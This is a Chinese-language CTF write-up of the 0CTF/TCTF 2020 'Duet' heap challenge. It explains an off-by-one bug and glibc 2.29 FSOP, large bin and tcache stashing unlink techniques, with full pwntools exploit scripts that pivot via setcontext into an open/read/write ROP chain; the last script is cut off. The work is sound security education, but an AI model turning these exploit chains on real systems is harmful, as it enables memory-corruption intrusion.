Duet

分析

这个题目又是一个PLT表损坏,ida无法分析的题目。修复方法是将.got中的偏移修改为extern的位置,之后ida就会自动识别相应的函数,此时我们将.got中对应的DATA XREF中函数(.plt.sec)的命名更改之后,ida就可以正常的分析函数了。具体的修复方法点这

程序一共提供了四种功能add, delete, show, edit。存储两个堆块指针,可分配的堆块的大小为0x80-0x400。只能使用一次edit,并且在该函数中存在一个off-by-one的漏洞。

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled.png

同时设置了sandbox

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%201.png

只能通过orw进行,因此我们需要执行ropchain

利用

  • 利用off-by-one我们可以进行overlap,泄露出libc基址。
  • 接下来就是FSOP的利用了。

libc2.24之后的版本中增加了对vtable的检查,而libc2.29相对libc2.27之前的IO_strfile来说,其分配和释放内存的函数都被修改为了标准的malloc,free函数,因此没有办法直接getshell

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%202.png

EXP1

0CTF/TCTF 2020 Quals PWN

直接覆写io_list_all或者stderr->chain。伪造io_file链表,利用_io_str_overflow函数中的mallocmemcpy函数实现任意写。看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

注意到这里会申请一个new_size=2 * old_blen + 100大小的new_buf,并执行memcpy (new_buf, old_buf, old_blen);操作,这里的old_blen的计算方式是#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),也就是说如果我们控制了IO_FILE结构体,并伪造_IO_buf_end_IO_buf_base就可以申请任意大小的堆块,如果提前布置好堆布局,就可以分配到任意的内存地址,利用memcpy执行任意地址写。需要绕过几个条件

1
2
3
4
5
6
7
8
9
10
1. ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
) //执行IO_OVERFLOW
2. (fp->_flags & _IO_NO_WRITES) == FALSE
// _IO_blen (fp): ((fp)->_IO_buf_end - (fp)->_IO_buf_base)`
3. (fp->_IO_write_ptr - fp->_IO_write_base) > (fp)->_IO_buf_end - (fp)->_IO_buf_base
4. fp->_IO_buf_base != NULL //当然这也是进行memcpy的地址

这里我们可以覆写__malloc_hook/free_hook地址,但是我们只能采用orw,可以采用setcontext进行栈迁移,但是setcontext+53的地址之后我们还需要控制rdi,来控制传入setcontext函数的参数。注意到IO_str_overflow中的

2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%203.png

此时rdi的值为io_file结构体的起始地址,因此我们可以通过伪造的IO_FILE结构体控制rdi的值。因此可以覆写__malloc_hook的地址为setcontext+53的位置,在下一个IO_FILE结构体中控制rdi的值进行栈迁移。最终执行ropchain

  • 利用overlap泄露libc基址
  • 伪造large bin,并覆写tcache->fd_malloc_hook地址,分配两次即可得到_malloc_hook指向的内存
  • 利用large bin attack覆写stderr->chain为控制的堆地址
  • 在堆内存中伪造三个IO_FILE结构体。第一个消耗tcache的第一个堆块,第二个申请得到__malloc_hook所在的内存,覆写为setcontext+53地址,第三个则控制rdi,调用setcontext进行栈迁移,指向ropchain

首先先泄露libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
for i in range(7):
add(0, 0x88)
delete(0)
for i in range(7):
add(0, 0x1e0)
delete(0)
for i in range(7):
add(0, 0x108)
delete(0)
for i in range(7):
add(0, 0x3f8)
delete(0)
for i in range(7):
add(0, 0x400)
delete(0)
for i in range(7):
add(0, 0xf8)
delete(0)
for i in range(7):
add(0, 0x178)
delete(0)

gdb.attach(p, "b *0x555555555BC7")

add(0, 0x88)
add(1, 0xf0)
delete(0)
edit(0xf1) # overlap
add(0, 0x178, b"\\x00"*0xe8 + p64(0x91))
delete(1) # 0x1f0 chunk , +0x100 is 0x180 chunk
add(1, 0x108, b"\\x00" * 0xf8 + p64(0x91))
show(0)
p.recvuntil(": ")
p.recv(0x10)
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) - 96 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))

此时我们进行完成了overlap,通过0x1f0的堆块可以控制0x180堆块的堆头数据。之后可以利用largebin attack改写stderr->chain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
delete(1)
add(1, 0x308, b"\\x00" * (0x278) + p64(0x310 - 0x280 + 1))# padding, fake 0x400 chunk fd
delete(1)
add(1, 0x1e8, b"\\x00" * 0xf8 + p64(0x401) + p64(libc.sym['__malloc_hook'] + 0x10 + 96) * 2 + p64(0) * 27)
delete(0) # 0x400 chunk in unsorted bin
add(0, 0x3f8, (b"\\x00" * 0xe8 + p64(0x91)).ljust(0x178, b"\\x00") + p64(0x311) + p64(libc.sym['__malloc_hook']))
delete(0)
add(0, 0x400) # add 0x410 chunk, 0x400 chunk to large bin
show(1)
p.recvuntil(": ")
p.recv(0x110)
heap_address = u64(p.recv(8))
log.success("heap address {}".format(hex(heap_address)))

0x180的堆块伪造成一个0x400大小的堆块,这里需要注意的是,申请一个足够大小的chunk,一个功能是做padding防止0x400 chunktop chunk合并,另一个功能就是伪造0x400 chunk的相邻chunk,绕过free的合并检查。同时改写0x310 chunktcache fd_malloc_hook的地址,只要分配两次就可以分配到_malloc_hook的位置,为之后的覆写做准备。利用large bin此时也能泄露堆地址。

此时0x400 chunk已经在large bin中,接着利用0x1f0overlap堆块修改0X400 largebin chunkbk_nextsize指针,再次释放一个大小大于0x400large bin的时候就会在bk_nextsize+0x20的位置写入一个堆地址。这样我们就改写了stderr_chain指向我们控制的内存区域

接下来就是伪造IO_FILE链表了。因为__malloc_hook所在的tcache0x310大小,因此控制在Io_str_overflow中的new_size的大小为0x310。最终伪造的IO_FILE链表如下所示。

最终成功执行ropchain

在执行setcontext的时候只要控制好rdx+0xxx位置的内存值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
# encoding=utf-8
from pwn import *

file_path = "./duet_bac"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process(["./duet"])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
io_str_jumps = libc.sym['_IO_str_jumps']

else:
p = process(["./duet"])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
io_str_jumps = 0x1e6620

ins = ["琴", "瑟"]

def add(index, size, content=b"a"):
p.sendlineafter(": ", "1")
p.sendlineafter("Instrument: ", ins[index])
p.sendlineafter("Duration: ", str(size))
p.sendafter("Score: ", content.ljust(size, b"\\x00"))

def delete(index):
p.sendlineafter(": ", "2")
p.sendlineafter("Instrument: ", ins[index])

def show(index):
p.sendlineafter(": ", "3")
p.sendlineafter("Instrument: ", ins[index])

def edit(content):
p.sendlineafter(": ", "5")
p.sendlineafter("合: ", str(content))

def shut():
p.sendlineafter(": ", "6")

for i in range(7):
add(0, 0x88)
delete(0)
for i in range(7):
add(0, 0x1e0)
delete(0)
for i in range(7):
add(0, 0x108)
delete(0)
for i in range(7):
add(0, 0x3f8)
delete(0)
for i in range(7):
add(0, 0x400)
delete(0)
for i in range(7):
add(0, 0xf8)
delete(0)
for i in range(7):
add(0, 0x178)
delete(0)

# gdb.attach(p, "b *0x555555555BC7")

add(0, 0x88)
add(1, 0xf0)
delete(0)
edit(0xf1)
add(0, 0x178, b"\\x00"*0xe8 + p64(0x91))
delete(1) # 0x1f0 chunk , +0x100 is 0x180 chunk
add(1, 0x108, b"\\x00" * 0xf8 + p64(0x91))
show(0)
p.recvuntil(": ")
p.recv(0x10)
libc.address = u64(p.recv(6).ljust(8, b"\\x00")) - 96 - libc.sym['__malloc_hook'] - 0x10
log.success("libc address {}".format(hex(libc.address)))

delete(1)
add(1, 0x308, b"\\x00" * (0x278) + p64(0x310 - 0x280 + 1))
delete(1)
add(1, 0x1e8, b"\\x00" * 0xf8 + p64(0x401) + p64(libc.sym['__malloc_hook'] + 0x10 + 96) * 2 + p64(0) * 27)
delete(0) # 0x400 chunk in unsorted bin
add(0, 0x3f8, (b"\\x00" * 0xe8 + p64(0x91)).ljust(0x178, b"\\x00") + p64(0x311) + p64(libc.sym['__malloc_hook']))
delete(0)
add(0, 0x400) # add 0x410 chunk, 0x400 chunk to large bin
show(1)
p.recvuntil(": ")
p.recv(0x110)
heap_address = u64(p.recv(8))
log.success("heap address {}".format(hex(heap_address)))

p_rdi_r = 0x0000000000026542 + libc.address
p_rdx_r = 0x000000000012bda6 + libc.address
p_rax_r = 0x0000000000047cf8 + libc.address
p_rsi_r = 0x0000000000026f9e + libc.address
p_rsp_r = 0x0000000000030e4e + libc.address
syscall_address = 0x00000000000cf6c5 + libc.address
p_rbx_rbp_j_rcx_r = 0x1456f4 + libc.address

stderr_chain = libc.sym['_IO_2_1_stderr_'] + 0x68
io_list_all = libc.sym['_IO_list_all']

fake_io_file_1_address = heap_address + 0x490
fake_io_file_1_buf_base = heap_address + 0x5b0 # old_buf
fake_io_file_1_buf_end = heap_address + 0x5b0 + int((0x300-100)/2)
fake_io_file_2_address = heap_address + 0x8b0
flag_str_address = heap_address + 0x5f0
flag_address = heap_address + 0xa60
fake_wide_data_address = heap_address + 0x570
fake_wide_data_buf_base = 1
fake_io_file__mode = 1
orw_address = flag_str_address + 0x8

orw = flat([
p_rdi_r, flag_str_address,
p_rsi_r, 0,
p_rax_r, 2,
syscall_address,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r, 0x30,
libc.sym['read'],
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r, 0x30,
libc.sym['write']
])

io_str_jumps += libc.address
log.success("io str jumps address {}".format(hex(io_str_jumps)))

# 伪造的fake io_file_1
payload1 = p64(0)*5 + p64(fake_io_file_1_buf_base) + p64(fake_io_file_1_buf_end)
payload1 += p64(0)*4 + p64(fake_io_file_2_address) + p64(0)*6 + p64(fake_wide_data_address)
payload1 + p64(0)*3 + p64(fake_io_file__mode)
payload1 = payload1.ljust((0xd8-0x10), b"\\x00") + p64(io_str_jumps)
payload1 += p64(0)*4 + p64(fake_wide_data_buf_base)
# fake chunk bypass free(old_buf)
payload1 += p64(0)*2 + p64(0x21) + p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload1 += b"./flag\\x00".ljust(8, b"\\x00")
payload1 += orw

delete(0)
add(0, 0x400, payload1) # fake io
delete(1)
# change unsorted bin fd and bk
payload = b"\\x00"*0xf8 + p64(0x401) + p64(libc.sym['__malloc_hook'] + 0x10 + 1104) * 2 \\
+ p64(heap_address) + p64(stderr_chain - 0x20)
add(1, 0x1e8, payload)
delete(1)

fake_io_file_2_write_ptr = heap_address + 0xbc0
fake_io_file_2_buf_base = heap_address + 0x9d0 # old buf, memcopy start
fake_io_file_2_buf_end = heap_address + 0x9d0 + int((0x300-100)/2)
fake_io_file_3_address = heap_address + 0xa60

payload2 = p64(0)*5 + p64(fake_io_file_2_write_ptr) + p64(0)
payload2 += p64(fake_io_file_2_buf_base) + p64(fake_io_file_2_buf_end)
payload2 += p64(0)*4 + p64(fake_io_file_3_address)+ p64(0)*6 + p64(fake_wide_data_address)
payload2 += p64(0)*3 + p64(fake_io_file__mode)
payload2 = payload2.ljust(0xd8, b"\\x00") + p64(io_str_jumps)
payload2 += p64(0)*7 + p64(0x21) # fake chunk, bypass free(old_buf) << old_buf start
payload2 += p64(libc.sym['setcontext'] + 53) # << memcopy start, overwrite __malloc_hook
payload2 += p64(0)*2 + p64(0x21) + p64(0)*3 + p64(0x21)
payload2 = payload2.ljust(fake_io_file_3_address - fake_io_file_2_address, b"\\x00")

frame = SigreturnFrame()
frame.rip = p_rdi_r
frame.rsp = orw_address - 0x8
frame_address = fake_io_file_3_address + 0xe0
fake_io_file_2_write_ptr = frame_address
fake_io_file_3_buf_base = fake_io_file_2_buf_base
fake_io_file_3_buf_end = fake_io_file_2_buf_end

fake_io_file_3 = p64(0)*5 + p64(fake_io_file_2_write_ptr) + p64(0)
fake_io_file_3 += p64(fake_io_file_3_buf_base) + p64(fake_io_file_3_buf_end)
fake_io_file_3 += p64(0)*4 + p64(fake_io_file_3_address)+ p64(0)*6 + p64(fake_wide_data_address)
fake_io_file_3 += p64(0)*3 + p64(fake_io_file__mode)
fake_io_file_3 = fake_io_file_3.ljust(0xd8, b"\\x00") + p64(io_str_jumps)

payload2 += fake_io_file_3
payload2 += bytes(frame)

add(1, 0x400, payload2)
delete(0)
add(0, 0x158)
gdb.attach(p, "b *0x555555555BC7")
shut()

p.interactive()

EXP2

除了覆盖stderr之外,还可以直接覆盖global_max_fast,利用fastbin attack。大佬们的WP中出现了两种思路,

  • 一种是直接利用fastbin attack将内存分配到main_arena区域,由于free_hook-0xb68的位置存在一个0x100,可以作为size,因此可以将内存分配到此位置,并伪造top chunk,经过三次分配0x410大小的堆块,就可以将内存分配到free_hook位置处。

    但是在伪造top chunk的时候需要注意绕过检查*(main_arena+0x78) == main_arena+0x60
    size > av->system_mem // 0x21000, 不然会触发fast bin合并

    但是只能进行orw,也就是需要调用setcontext+53进一步控制执行流,也就是我们需要控制rdx的值。此时如果我们释放堆块,那么rdi的值就是堆块的起始地址。下面就是寻找如何通过rdi控制rdx

    2020%200CTF%20TCTF%20quals%20%E9%83%A8%E5%88%86PWN%20WriteUp%20b6f5a2be70dd429dbfc595d0e170347f/Untitled%204.png

    注意到IO_wfile_sync这个函数,其中可以通过rdi控制rbx,rax,rdx,rsi,r12,并且最终会调用[r12+0x20],如果我们将r12+0x20存储的位置改写为setcontext+53,而又可以通过rdi控制rdx就可以继续劫持控制流进行栈迁移,最终执行ropchain

    这里用的是tcache stashing unlink覆写global_max_fast

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    # encoding=utf-8
    from pwn import *

    file_path = "./duet"
    context.arch = "amd64"
    context.log_level = "debug"
    context.terminal = ['tmux', 'splitw', '-h']
    elf = ELF(file_path)
    debug = 1
    if debug:
    p = process([file_path])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

    else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

    ins = ["琴", "瑟"]

    def add(index, size, content=b"a"):
    p.sendlineafter(": ", "1")
    p.sendlineafter("Instrument: ", ins[index])
    p.sendlineafter("Duration: ", str(size))
    p.sendafter("Score: ", content.ljust(size, b"\\x00"))

    def delete(index):
    p.sendlineafter(": ", "2")
    p.sendlineafter("Instrument: ", ins[index])

    def show(index):
    p.sendlineafter(": ", "3")
    p.sendlineafter("Instrument: ", ins[index])

    def edit(content):
    p.sendlineafter(": ", "5")
    p.sendlineafter("合: ", str(content))

    for i in range(6):
    add(0, 0x88)
    delete(0)
    for i in range(7):
    add(0, 0x1b0)
    delete(0)
    for i in range(6):
    add(0, 0x98)
    delete(0)
    for i in range(7):
    add(0, 0x1f0)
    delete(0)
    for i in range(7):
    add(0, 0x240)
    delete(0)
    for i in range(7):
    add(0, 0x2e0)
    delete(0)
    for i in range(7):
    add(0, 0x240)
    delete(0)
    for i in range(7):
    add(0, 0xf0)
    delete(0)
    for i in range(7):
    add(0, 0x100)
    delete(0)

    add(0, 0x1b0)
    add(1, 0x88) # padding
    delete(0)
    delete(1)
    add(0, 0x1b0 - 0xa0)
    delete(0)
    add(0, 0x1b0) # 0xa0 chunk in small bin
    add(1, 0x1f0) # 0x200 chunk to overlap
    delete(0)
    add(0, 0x1b0-0x90) # 0x90 chunk in unsorted bin and next is 0x200 chunk
    delete(0)
    add(0, 0x1f0, b"\\x00"*0xe8+p64(0x200-0xf0+1)) # 0x200 chunk 2 fd is 0x200 chunk 1(overlap)
    edit(0xf1)
    delete(1)
    add(1, 0x3f0, b"\\x00"*0x48 + p64(0x401-0x50)) # 0x2f0 chunk to unsorted bin
    delete(1)
    add(1, 0x240, b"\\x00"*0x1f8+p64(0x201)) # 0xa0 chunk 1 in unsorted bin
    delete(0) # 0x200 chunk2 <-> 0xa0 chunk 1, 0x200 chunk2 + 0x50 is 0xa0 chunk 1
    show(1)
    p.recvuntil("瑟: ")
    p.recv(0x200)
    heap_address = u64(p.recv(8))
    libc.address = u64(p.recv(8)) - 96 - libc.sym['__malloc_hook'] - 0x10
    main_arena_address = libc.sym['__malloc_hook'] + 0x10
    log.success("heap address {}".format(hex(heap_address)))
    log.success("libc address {}".format(hex(libc.address)))
    global_max_fast_address = libc.address + 0x1e7600
    free_hook_address = libc.sym['__free_hook']

    # tcache stashing unlink attack
    # change small bin fd and bk
    payload = b"\\x00"*0x48 + p64(0xa1) + p64(heap_address - 0x540) + p64(global_max_fast_address - 0x10)
    payload += b"\\x00"*0x80 + p64(0xa0) + p64(0x110)
    add(0, 0xf0, payload) # 0xa0 to small bin, 0x100 chunk in unsorted bin
    delete(0) # 0x200 chunk2 in unsorted bin
    add(0, 0x90)
    log.success("gloabl max fast has been changed")

    delete(0) # 0xa0 chunk 1 to fast bin
    delete(1) # 0x250 chunk to fast bin, +0x200 chunk is 0x200 chunk 2
    add(0, 0x240, b"\\x00"*0x1f8 + p64(0xe1)) # 0x200 chunk2 changed to 0xe0 chunk(unsorted bin)
    delete(0)
    add(0, 0xd0, b"\\x00"*0x48 + p64(0x201)) # 0xa0 chunk1 change to 0x200 chunk

    payload = p64(0) + p64(0x201) + p64(0) + p64(0x191) + p64(0) + p64(0x181) + p64(0) + p64(0x171) + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141)
    payload += p64(0) + p64(0x131) + p64(0) + p64(0x121) + p64(0) + p64(0x111) + p64(0) + p64(0x101) + p64(0) + p64(0xf1)
    add(1, 0x1f0, payload)
    delete(1)
    add(1, 0x240, b"\\x00"*0x1f8 + p64(0x91)) # +0x200 is 0xa0 chunk, changed to 0x90 chunk
    delete(1)
    delete(0) # 0x90 chunk to fast bin
    add(1, 0x240, b"\\x00"*0x1f8 + p64(0x91) + p64(0x111))
    delete(1)

    add(0, 0x80, b"\\x00"*0x48 + p64(0x81))
    add(1, 0x240, b"\\x00"*0x1f8 + p64(0x111))
    delete(1)
    delete(0)

    add(0, 0x240, b"\\x00"*0x1f8 + p64(0x111) + p64(main_arena_address + 64))
    payload = b'\\x00'*0x48 + p64(0x201)
    payload += b'\\x00'*0x70 + p64(0) + p64(0x161) + p64(0) + p64(0x151) + p64(0) + p64(0x141) + p64(0) + p64(0x131)
    add(1, 0x100, payload)
    delete(0)
    add(0, 0x240, b"\\x00"*0x1f8 + p64(0xe1))
    delete(0)
    delete(1)

    top_chunk = free_hook_address - 0xb68 + 0x10
    payload = b"\\x00"*0x10 + p64(top_chunk) + b"\\x00"*0xc8 + p64(main_arena_address + 304) + p64(304*2+1)
    add(0, 0x100, payload)
    add(1, 304*2-0x10, b"\\x00"*0x18 + p64(0x21))
    delete(0)

    pad = main_arena_address + 0x60
    payload = p64(pad)*2 + p64(top_chunk) + p64(pad)*3 + p64(free_hook_address - 0xb68 - 1) + p64(pad)*22 + p64(0x21)
    add(0, 0x100, payload)
    delete(0)
    delete(1)

    p_rdi_r = 0x0000000000026542 + libc.address
    p_rdx_r = 0x000000000012bda6 + libc.address
    p_rax_r = 0x0000000000047cf8 + libc.address
    p_rsi_r = 0x0000000000026f9e + libc.address
    p_rsp_r = 0x0000000000030e4e + libc.address
    syscall_address = 0x00000000000cf6c5 + libc.address

    flag = free_hook_address + 8
    read_address = libc.sym['read']
    write_address = libc.sym['write']
    setcontext_address = libc.sym['setcontext'] + 53

    row = flat([
    p_rdi_r,
    flag,
    p_rsi_r, 0,
    p_rdx_r, 4,
    p_rax_r, 2,
    syscall_address,
    p_rdi_r, 3,
    p_rsi_r, heap_address,
    p_rdx_r, 0x20,
    read_address,
    p_rdi_r, 1,
    p_rsi_r, heap_address,
    p_rdx_r, 0x20,
    write_address
    ])

    gdb.attach(p, "b *0x555555555BC7")

    add(0, 0xf8, b"\\x00" + p64(0) + p64(0x21001))
    add(1, 0x100, p64(pad)*2 + p64(top_chunk) + p64(pad)*3)
    delete(1)
    add(1, 0x400)
    delete(1)
    add(1, 0x400)
    delete(1)

    target = free_hook_address - 0x328
    rdx = target + 0xe0 - 0xa0 -0x8
    target_rsp = target + 0xe0
    io_write_sync = libc.sym['_IO_wfile_sync']
    payload = p64(0)+p64(1) + p64(2) + p64(rdx)*4 + b"\\x00"*0x60 + p64(target + 0xb0)
    payload += p64(target) + p64(0)
    payload += b"\\x00"*0x20 + p64(setcontext_address) +p64(target_rsp + 8)
    payload += row
    payload = payload.ljust(0x328, b"\\x00") + p64(io_write_sync) + b"./flag\\x00"
    add(1, 0x400, payload)
    delete(1)

    p.interactive()

  • 第二种则是利用stdoutflag中的0xfb伪造fast bin chunk,从而分配chunkstdout上。

    这里对size的检查是用的eax,也就是低4字节,前面的地址残余无影响

    stdoutvtable改为IO_wfile_jumps_mmap+40,即将__xsputn函数指针指向_IO_wfile_sync,这样puts函数在进行输出的时候就会调用_IO_wfile_sync函数,该函数内通过rdistdout控制r12的值为gadget的地址,其作用如下

    1
    2
    3
    4
    5
    mov    rdx, qword ptr [rdi + 8] # << +0x12be97
    mov rax, qword ptr [rdi]
    mov rdi, rdx
    jmp rax

    这样就可以继续劫持控制流到setcontext,并且将rdx设置为参数。最终调用mprotect关闭不可执行保护执行shellcode

    贴出大佬的WP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    import sys
    import time
    import random
    host = 'pwnable.org'
    port = 12356

    binary = "./duet"
    context.binary = binary
    context.log_level = "debug"
    elf = ELF(binary)
    try:
    libc = ELF("./libc.so.6")
    log.success("libc load success")
    system_off = libc.symbols.system
    log.success("system_off = "+hex(system_off))
    except:
    log.failure("libc not found !")

    def new(index,data):
    r.recvuntil(": ")
    r.sendline("1")
    r.recvuntil("Instrument: ")
    r.sendline(index)
    r.recvuntil("Duration: ")
    r.sendline(str(len(data)))
    r.recvuntil("Score: ")
    r.send(data)
    pass

    def remove(index):
    r.recvuntil(": ")
    r.sendline("2")
    r.recvuntil(": ")
    r.sendline(index)
    pass

    def show(index):
    r.recvuntil(": ")
    r.sendline("3")
    r.recvuntil(": ")
    r.sendline(index)

    def heap(b):
    r.recvuntil(": ")
    r.sendline("5")
    r.recvuntil(": ")
    r.sendline(str(b))

    if len(sys.argv) == 1:
    r = process([binary, "0"])

    else:
    r = remote(host ,port)

    if __name__ == '__main__':
    fuck = {0: "琴",1:"瑟"}
    for i in range(7):
    new(fuck[0],"A"*0x80)
    remove(fuck[0])
    new(fuck[0],"A"*0xe0)
    remove(fuck[0])
    new(fuck[0],"A"*0xf0)
    remove(fuck[0])
    new(fuck[0],"A"*0x1e0)
    remove(fuck[0])
    new(fuck[0],"A"*0x140)
    remove(fuck[0])
    new(fuck[0],"A"*0x88)
    new(fuck[1],"A"*0xf0)
    remove(fuck[0])
    heap(0xf1)
    new(fuck[0],p64(0x81)*60)
    remove(fuck[1])
    new(fuck[1],p64(0x21)*96)
    remove(fuck[1])
    new(fuck[1],p64(0x91)*31 + p64(0x91) + b"\\x00"*0x88 + p64(0x21)*11)
    remove(fuck[0])
    show(fuck[1])
    r.recv(0x105)
    libc = u64(r.recv(6).ljust(8,b"\\x00")) - 0x1e4ca0
    print("libc = {}".format(hex(libc)))
    new(fuck[0],p64(0x21)*60)
    remove(fuck[0])
    remove(fuck[1])

    new(fuck[0],p64(0x21)*128)
    remove(fuck[0])
    for i in range(6):
    new(fuck[0],"A"*0x400)
    remove(fuck[0])
    new(fuck[0],"A"*0x400)
    new(fuck[1],"A"*0x200)
    remove(fuck[0])
    remove(fuck[1])
    new(fuck[0],"A"*0x80)

    new(fuck[1],p64(0x91)*31 + p64(0x421) + b"\\x00"*0x88 + p64(0x21)*11)
    remove(fuck[0])
    show(fuck[1])
    r.recv(0x10d-8)
    heap = u64(r.recv(6).ljust(8,b"\\x00")) - 0x4d90
    print("heap = {}".format(hex(heap)))
    global_max_fast = 0x1e7600 + libc
    remove(fuck[1])
    new(fuck[1],"A"*0x90)
    remove(fuck[1])
    new(fuck[0],"A"*0x400)
    new(fuck[1],b"A"*0x58 + p64(0x421) + p64(global_max_fast-0x20)*2 + p64(global_max_fast-0x20)*2 + b"A"*0xc0)
    remove(fuck[0])

    print("libc = {}".format(hex(libc)))

    _IO_wfile_sync = libc + 0x1e5fc0
    magic = libc + 0x000000000012be97 # mov rdx,QWORD PTR [rdi+0x8] ; mov rax,QWORD PTR [rdi] ; mov rdi,rdx ; jmp rax

    print("_IO_wfile_sync = {}".format(hex(_IO_wfile_sync)))
    payload = b"Z"*0x30
